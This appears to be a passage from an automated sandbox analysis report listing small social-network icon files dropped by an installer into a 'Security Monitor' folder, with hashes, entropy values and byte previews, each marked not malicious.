Preview:	.PNG........IHDR................a....IDATx.S{H.Q.=....)Y....\|4..CmeZZ*....!dQ..J..J..aI..... %.LILK..0....SI..H3\|l.}[[O.........K.K.....s."#.DB...a...t........hAb\..h4NG.....7j..W.z.fK.3R.....emD4c%...0.....7?a.9.GY..g.......x..<.c..3@....#.......>}....X...v.j.W.$(.....]..(.lF..A..G..m.oU.UW/r..p..1^t..pj4.Y..x...=G...X'[..-..j.NW>.Z.Gdn.E.[..&....'+...@.uk..........Oqd....~r.).G....1.W.L.........@..(..g..![....P..eI...(...(Y....:...h(J.......j.7.......D..M`.....Zd.6B$...rD...K..e2.\....I8..ao..h....Y.\|.&... .t@X...u/q.........T,M......Q.%.Vs...!."....rw.GYC.Z.9...a#....G.l51D^..i..... .J?W.hF.>0......(..m=Z.hG.5O...........=%.P.H..-C..P..?.=V.#..~........M....2..T.?..D....._$....qg]....@$...d4.....[j2.....AF%.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-UH7LN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.463689107615048
Encrypted:	false
SSDEEP:	24:K/1fhCeNZn1dIxF327RYl2gZArfrReA/T3UqZzqi:K/9hCAZn3EGRYvZMrReA7UMzqi
MD5:	C4CE03C4D6D52FDA15ED85DD35661191
SHA1:	7FC5453E63A2B3C8F5CC17A1A5B9D40E3BBCAA89
SHA-256:	EA932489B1C366D47D33EF6FC4898A11E85C5EF5BA2982A21506FF49BD230B44
SHA-512:	2A332EE917FDCEE81C4F1E19F340498B37AA1B549A1E48E5C5207879F5A6EC1233052A606202CE254E629EE63676BDAA1438D4165D0BF48C3CB4BCC3A26BC907
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................H.H.#.#............................................b...4...+...X...y...'.'.!.!................................T...H...9..........~...r.r.'.'................................]...T...E...6...'..............&.&................................^...U...C...h..........5.5.-.-.%.%..................."..;..{....................I.I.<.<.4.4.,.,.#.#...............+..>..8.....w.........Z.Z.M.M.C.C.;.;.2.2..*..............3..N..J..j............k.k.\.\.M.M.B.B.9.9.1.1.#.#..........I..w..........}..u.....w...n.n.`.`.Q.Q.F.F.9.9...<.........._.............o..[........L^..Ci..4b..&Q...,...............f.............~..k........jj..QQ..<<..++...................k................w.........ii..ZZ..EE..33..&&...............Z.........................rr..``..LL..;;...................r...X..`...............yy.II

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-UKBC1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\linkedin.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.138741072579881
Encrypted:	false
SSDEEP:	24:+qqGcDzDzzrspvYD/teTclAZOPUzydT4l7Rx6IRzav29P9B66k:a/DzDPrsK/tegAZOPAku7H5zav2d9B6Z
MD5:	4BF5323641C8B9F667BE8A2530CB17C4
SHA1:	8824036ED659C4D0A23376329B397BB01632B9DB
SHA-256:	533DAA8DE562BB129564B41E2BBD734D74178E4CBB02B060A780A6C5DAE9D6B6
SHA-512:	E63C20BF94A9DE5D6344E56A3D6934B32D65D13201BA3326E70F1DC0AFA9475ED2BFA44EB829498AB80265DC1B3B5ADB0BE866F50F685276E5B1FD0E0AFF73FA
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................q...y...x...x...x...x...w...x...x...x...w...x...x...x...x...r...\|...s...s...s...s...s...s...r...s...t...s...s...s...s...s...{...~...v...v...w...w...v...v...v...u...u...v...v...v...w...v...\|.......z....P..........z.............z...z............P..z...........}....X..........}.............}...}............W..}............!..^..........."............."...!..........]...!...........'..e...........'.............'...'..........d...'......."...-..k...........,.............-...J..........h...,...!...%...2..q...........2..............................K...3...%...)...7..w...........8...........................6...8..........=...7...)...)...>...0......0...7...@...=...9...>...=.......2...C..[...........B...C...C...D...C...D...C...C...C...C...3...8...I..p...........I...I...J...I...J...J...J...I...J...J...6...;...O...L..`...R...O...N...N...N...O...O...O...O...N...O...:...=..U...T..U..U...T...T..U..U..T...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\linkedin.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.652754071132357
Encrypted:	false
SSDEEP:	12:6v/7WaWgISPVxzQYiM4U3qwAwJms1184FTquLwsObH6yk2CrJ61:rnuzKMf3pXmg/FDoZkd61
MD5:	6A1DE861212D48E1899DF21E458C1542
SHA1:	02A81BF8ADE97DAC769CD1DBA84A207431E077CF
SHA-256:	052EE2A81A293DC611CE88300798DBA2B2E7B0CD924C099CB9B6B8C3D4B354D1
SHA-512:	6EEC1E50166CBCB04C7A53AC7A94CC0133788FABC4E2B781F076B69DF3B906BDC07A4CB99CBF02F2E0B5F273DD3152DBDF2405BA78EDFD694034B7CA9545B458
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.e.Kh.Q...;.I&.T..M.v..q.(.}(b[......"...V.Rm.......BD..ji...m......TteC...M2y\.....y....g.a..'..+.~.10.q.._0._.Yy..m>.d-.(.V..d`".6........u.w..).....\|...$3Y.,;...%..H'.....iXWS.k.7!.....S"......ds.g..q`.{Tx....l..D.]/..AV..[....5\...T......r.Kh#W..B...pi...\.CS...2..W^..a..:...(.;B..t4....J*..W+\|.oc.7..B.%.........(.L...FDh.f.......EM.....8........+I.....C...n...._.?..../.....~t...q..6.....E.b..j...7#8M......p1.^.G.u.k.._.=E.cu.a.S7...E..[Q..h&.....E?.'0\..@....a.0."..M....m..c..........8.&.s.1.h .R.;.6..}w"8A.&......J..........`840w.#..3..X.V:y.>[.Y......J.3o..2Yn.5.esHC...;~.@.5.....K{.;`A.......".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\messagerie.orange.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\messagerie.orange.fr.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\my.screenname.aol.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\my.screenname.aol.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\myspace.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.7202656984010085
Encrypted:	false
SSDEEP:	12:JdJzibJG6NppClipAcGrwX6QG6tIR/8hINNIyJwy1I2Mleeyy7qVT:JdJz+BalipGZP6tIMINNIcV1I2Ml2y7a
MD5:	EBFC3AD0B132D550ADC92A0F42776D1F
SHA1:	335FFD8C4685F556F837F6E8D94D7058F4636023
SHA-256:	1F00E5AE25225136ED95AD24D70C691C4367843E52A3E6D961F4E2009DFEA934
SHA-512:	A834FD7402F572AB7D27A0547C4363A02C94DCD87E733AB7DA0CC1B25437657F8876F540EC06C544AFB6490449B6611311EE82C8F6E333771D7A00CD391D523D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D.?.C..B...@...?...>...=...;...:...9...8...8...8...8...8..8./.F..Q...])..d/..b/..f1.........................._,..N...B...8..G..._+..g1..e0..d/..g2..........................a...V'..M...8...H...i3..h2..f1..e0..h2..........................b...W'..V&..8...I...k4..i3..h2..f1..h2..........................c/..Y(..W'..8...K...k4..j4..i3..g2..i3........................b...Z)..X(..8...L...l5..k4..j4..i3..g2..s@..............q?..^,..[..Z)..9...M...l5..l5..k4..j3..h2..g2..i3..l5..l5..g2.._-..^,..\+..[..:...N...l5..l5..l5..k4..j3..j3..t..........t..f1.._,..^,..\+..;...P...}M..U..Y..b..^..P..................~O..j:..e5..a0..=...Q...l..i..e..b..^..g..................g..n>..j;..f6..>...R...l..i..e..b..^..P..................~O..p@..k;..h7..?...T...l..i..e..b..^..}M..Z.........Z..q?..qA..m<..g5..@...U...X..i..e..b..^..[..~O..wD..uB..wE..vF..sB..n=..a/..B...V...m:..V..S..~P..{M..yJ..wG..uE..rA..o

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\myspace.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.638733880632528
Encrypted:	false
SSDEEP:	12:6v/7Uqs1+tuWPx3jbdb1W7vVeaQkcbxKOd1MB09EVxRXXstDRpROyXSF:3qs1vWPxTugaxcbxKwMB09EjUVOyg
MD5:	B9A06A13BF911BA4288024CB22CD4B8E
SHA1:	43D03CC1C89C311CD7E8F39D531341D71CEA5C98
SHA-256:	E37F73F2FC45067F9F946BA9AC18E6D5C87FFDFB096853667699EA5CA116871E
SHA-512:	417D7091DA9950B32A197599775BD72A9DD7A2D996F5F057B47D490A61AD70D697A3D2B293ECDDF0901D6EE482B86CBC04E808E08005550E7F0600AE5F1134A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.KLSQ...so.........ipC0F..$..h._....H...r.[.........+.....X.......)-..B.....C..t.............).x(....&,/..x..n.`.F.9.y.S..U..bq.....M.f.08}..G"Q.LGC...GQW..B...&.)H\|.c6.%DU...08..s.4.#..`..?..]....f. _..c.h.j{?..?q(0........}.h~'.........k..b.eZ.......f..KI0..+kz#..T/.....^.F.]..D`p....`........J8(..2.h]Z.d.j...4..`2.!..1.......KQ.......L..].K....Sq..(:.~CO.R...4:..s.y.<.\|Y..O.3..E]...'...e?.T?H@i.3..U.d,5.....8]..f...t.kh....T.....Xs.).....t.(.q.........0.....M...Y....[.O.Z...vkk......W$..2nl.......].OI..[........$g.2n\|.'X..G..]...V..+..#7.\|'."..K`jr..h.!...s..`_..Plvt....9..Zt.....D<...q6.8g.r.h..B.Y..]$.P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\odnoklassniki.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.462526568231166
Encrypted:	false
SSDEEP:	24:xDsK0GRS99Rss9RRgJw3Y8/atH9aVGS4pF8lY2GSVSSSSSaGR/X/f:lML9RYwottHQVGR8l9TVSSSSSaUvf
MD5:	EA31E69B4C099C0090A088937CE958D6
SHA1:	CC50F1927506BA8B94C17BFEBBA8D7B928C3A2E0
SHA-256:	3F5FDBA100DD35B0BB4DBBC216A6D0E555C11E3C4907871A1B641BAFCEF6AC99
SHA-512:	B3A62801B292D27F8614E8612399A13A1B66C15EE8ED7781A4DE87C05CE8530255A8F4BA993775810D8E4E1DA2647E58B57C3026BB0718294AA6E4C515E888D2
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D...C...A...A...A...@...@...@...@...@...@...A...A...A...C...D...E../r...e...c...b...`...^...`...`...^..._...a...c...e../r...E...G...k...V...U...T...M...J...K...L...J...L...R...U...V...k...G...I...m...Y...Y...X..........@{...`...........m...Y...Y...m...I...K...q..._..._...^...e..................$r...]..._..._...q...K...M...v...c...c...a...Z...d..........9z...X...^...b...c...v...M...N..!{...g...g...d..s.......................(w...e...g..!{...N...R..$....l...m...k..........R...P...w............l...l..$....R...S..'....q...r...p..#z..`...........z...&{...{...r...q..'....S...U..,....v...v...r..Y........................q...t...v..,....U...W..1....z...z...w...........r...r..........?....y...z..1....W...Y..6....}...}...{...........p...m..........E....}...}..6....Y...[..;...............l.......................%...........;....[...^..A...#..."...#...$...y...............,...#..."...#...A....^...`..[...G...D...E...F...F...F...F...F...F.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\odnoklassniki.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.700988619334296
Encrypted:	false
SSDEEP:	24:2/3exgROSyP3NqUTxBlR8kEPzRspi/MKFhG1Bx:hQOZNVR8HVZkKDG1v
MD5:	6EC205B2369CA054BF85B085486CED9D
SHA1:	26C0B61289F804913164DDDAD8F905E12C8BD4A3
SHA-256:	7E436D02E18B665764D2F2C748068AC8069DB59BCDDA9983F09EA370D742474E
SHA-512:	A446CB697276D8AB014E0A38FFB0F6F31FC1BE4DD27A0A795829F4E844237243EE6B7A92A881841DA30F4E3E7A396E6065DAEB4C868CAD7EE195162CCDE0ADBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.[hTW...}f....8Ij.51!.TI.h.^PJ...........\|.O}RKQ..D.\|....,H.. -i....4...1..h&.....]{...v..........,.?.}.......2../...r...........zH% .Z.fA...%;>.. ..MT.+.....c....r....!......%pS.c.......k/..O...W.$Wm.].`.....N.g.......m...b.VTg#zY.j....4T..b.\|^..D7....'....\.z....J.j{(....F(.Y.3"..w`^....p.....j.:...........@;.z..UUB...O.E..6.7]..6..5,.J..Y2-...I.1(TJ..Tt...&.#.V..PH.\|.[...O....2.....[."+...2....8..K..=..;c4.....uRO[....a...........Z./.3........^{0%.$7\|..r7Np..\'.Hw....2..1..+(#.......e%B.saZ:...&s........D...g.3/ ...o........Q."....Bo:+.@.(_........^m"0..x../..../Q.....p.C............y;.'.M..f.y'Nb........B.\|...(..~e.5.....'..w...A...y.\|.....B.....z..=$.......$.k.C~...a..1.}...sNH.q;..Y..o...j.].'..~.)..H.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\qqzone.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5696063839477725
Encrypted:	false
SSDEEP:	12:0onYbuFo5fA8aRoEttw4HX1Jur9OrnYGKBjD21cmex8ZJnISD:9loEttw8uWy9sYK
MD5:	4F38A1E43DE6E4F1BD4BDBCC55706408
SHA1:	BBBDFB099C1921BD944230FC37DC9963FD2EED81
SHA-256:	9CA3C995F7DB760EFF9ED69DFDBA578481CAB520D164F1B7A1201E1DFB7AAA66
SHA-512:	6840EAE20F876A5DE457AB3DC703E28D302FB640E641F9AC2117D8EF30DF447BCC265F3CDC68DA5EE21CF14AA0FFB7AD6873C041DF016DD536018E7BC9E59A90
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................q...................................b.......................................!...............s...................................................................................................x...............................................................MJ...................g...8......................................*#...................................e..~........................................]......................"....................................S.......X...................... ....................................^...............................................i...........................K..........................?...n....................,......................y...J...........................J...................................................................................................................................4...........o..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\qqzone.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.377780326372934
Encrypted:	false
SSDEEP:	12:6v/7VDc+Qow9oS1rka1r1gslVtbq7eH8MycqGcjnM1eyYHhLpPiX:fLow9frbxG4qecMCBjnMsyYHiX
MD5:	532021B5830C2239DEE3E8FF33229A0B
SHA1:	4C2280EF8547087BE905669B6F49AEEA4C19E2F5
SHA-256:	AA747B612FBFAC5FAC5866F83687D3683402387436E528C80D6E3B7C48EE770A
SHA-512:	90D8345469986460A788254EDADCBFB13F5C0FFF81F8CD9707C86A47E1DBA426A6318E5BA52ACFC381F81DB59CF10B04A894EF7FC5CBC950CE5B59FD001C5F88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a... cHRM..z%..............u0...`..:....o._.F....pHYs...........~.....tEXtSoftware.paint.net 4.0.6..c.....IDAT8O.SKH.Q...i..U...J..J.]......tS....E....]..BW...B...?(RE.D4.[.A. .Db2..../.....L..{....X..*...."."w9...e.;.FD.!.Z~8h.;fw.!..J....<1.5......n..L.... ..1.....U..o.........Q.....U.....G.Pg?...m....P[..[EdC..g\|.~#.p.T.s...o/q1Z..B3..`..........C.K..X....Ym........aF...^.P....L.M..p2...Z..k.g....I....7...IC..P...:.Af.. ...-.P....am.3....~.k}H-.!9^.D.......Y[...?....{.w0W.k...O?...y....P+.5'....!........r..8..\|.0N.....z7yD.X+.%..T....+..-..!-jG.o..kn.)61......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\twitter.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.943382230545427
Encrypted:	false
SSDEEP:	12:S4YaNZKzJLGaBGzrHyCX0n3Ols63OjokVhVZcR9dfw8skIL00006fDxzKapll1Km:1uzJJBGH+j5hS9VxAmpKuNNNNNNNNNZ
MD5:	C372CECACDD31BCFD147D55D146C2CD4
SHA1:	A0C7F66256023E4DA4697CE0D37D809D206CC85E
SHA-256:	508BD905BEA0E89DA025DECD1BFE5E4B31A1F003BC3F2B5C5567A2470A307820
SHA-512:	58287A1C0896ABA3F9712FCEA29C3DAF892AE9F485E4DDBA56A442F9B7B6F439D3375A0EB46209FF4E86720B0D5C706BC22F8C49165A34458CA0A4EE2BD94DE7
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................Q...F...?...?...?...?...?...?...?...?...?...?...?...>...E...Q...H...i...............................................d...H...C...................E...3...3...3...3................C...E................3...3...3...3...3...3...3.............E...G.............F...3...3...3...3...3...3................H...I.............3...3...3................................J...K.............3...3...3................................L...N.............3...3...3...3...3...3...3................N...P.............3...3...3...3...3...3...3...3.............P...R..............3...3...3...3...3...3...3.................R...T..............3...3...3.................................U...V..............3...3...3.............................W...X.................3................................Y...[.....................................................\...g......................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\twitter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.412255128365162
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjAgxNF+Q7L4f031MIYJqGdhz90Iq7AGg71T+51fDPgME:XMOxbL4+S1nJ0xk71TYzgP
MD5:	79AEBF6646108C56AA59E1D27672A308
SHA1:	BAA186067518DFA1F18A2AFCB50AF03041E40AA4
SHA-256:	B64E7582BFD5CD8AAE7F9AB31B2B12AFF640857B6670873D94C15D0CE70533D9
SHA-512:	D41A2F5A204B43DADF5CC461EB1E713187B6AF616FF651A06299574C7BE1E8E9A634E9259C3B63594E627DE2FC8B5DE4CC02FD2DF5F51E924E74C74A7EAD515A
Malicious:	false
Reputation:	unknown
